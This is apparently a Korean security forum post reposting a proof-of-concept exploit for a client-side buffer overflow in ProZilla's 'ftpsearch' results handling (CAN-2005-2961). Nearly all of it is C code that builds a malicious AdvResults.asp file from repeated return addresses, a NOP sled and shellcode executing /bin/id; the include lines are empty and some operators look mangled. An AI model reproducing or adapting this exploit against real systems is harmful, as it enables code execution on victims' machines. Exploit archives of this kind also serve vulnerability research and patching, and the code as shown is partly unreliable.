security

Total 112
Today 0
profile_image
ino
05-10-03 18:40 0개 2,664회
ProZilla "ftpsearch" Option Client-Side Buffer Overflow Exploit
ProZilla "ftpsearch" Results Handling Client-Side Buffer Overflow Exploit

Date : 02/10/2005



Advisory : FrSIRT/ADV-2005-1916

CVE Reference : CAN-2005-2961

Rated as : High Risk



#include

#include

#include



#define OVERFLOW (1<10)+32

#define SLEDSIZ (1<10)

#define RETADDR 0x806977a+SLEDSIZ/2

#define OUTPUT "AdvResults.asp"



/*

* prozilla bug, found while auditing for gentoo bug #70090

* -taviso@gentoo.org

*/



/* execve() /bin/id */

unsigned char shellcode[] =

"\x33\xc9\x83\xe9\xf5\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x7e"

"\x02\xad\x8e\x83\xeb\xfc\xe2\xf4\x14\x09\xf5\x17\x2c\x64\xc5\xa3"

"\x1d\x8b\x4a\xe6\x51\x71\xc5\x8e\x16\x2d\xcf\xe7\x10\x8b\x4e\xdc"

"\x96\x0a\xad\x8e\x7e\x2d\xcf\xe7\x10\x2d\xc4\xea\x7e\x55\xfe\x07"

"\x9f\xcf\x2d\x8e";



int main(int argc, char **argv)

{

unsigned char *buf;

void *ret = (void *) RETADDR;

FILE *exploit;

int i;



exploit = fopen(OUTPUT, "w");

fprintf(exploit, "
");



buf = malloc(OVERFLOW);

for (i = 0; buf + i < buf + OVERFLOW; i += sizeof(void *))

memcpy(buf + i, &ret, sizeof(void *));

fwrite(buf, OVERFLOW, 1, exploit);

fprintf(exploit, "
");

buf = realloc(buf, SLEDSIZ + sizeof(shellcode));

memset(buf, 0x90, SLEDSIZ);

memcpy(buf + SLEDSIZ, shellcode, sizeof(shellcode));

fwrite(buf, SLEDSIZ + sizeof(shellcode), 1, exploit);

free(buf);

fprintf(stderr, "[*] %s created.\n", OUTPUT);

return 0;

}

댓글목록

등록된 댓글이 없습니다.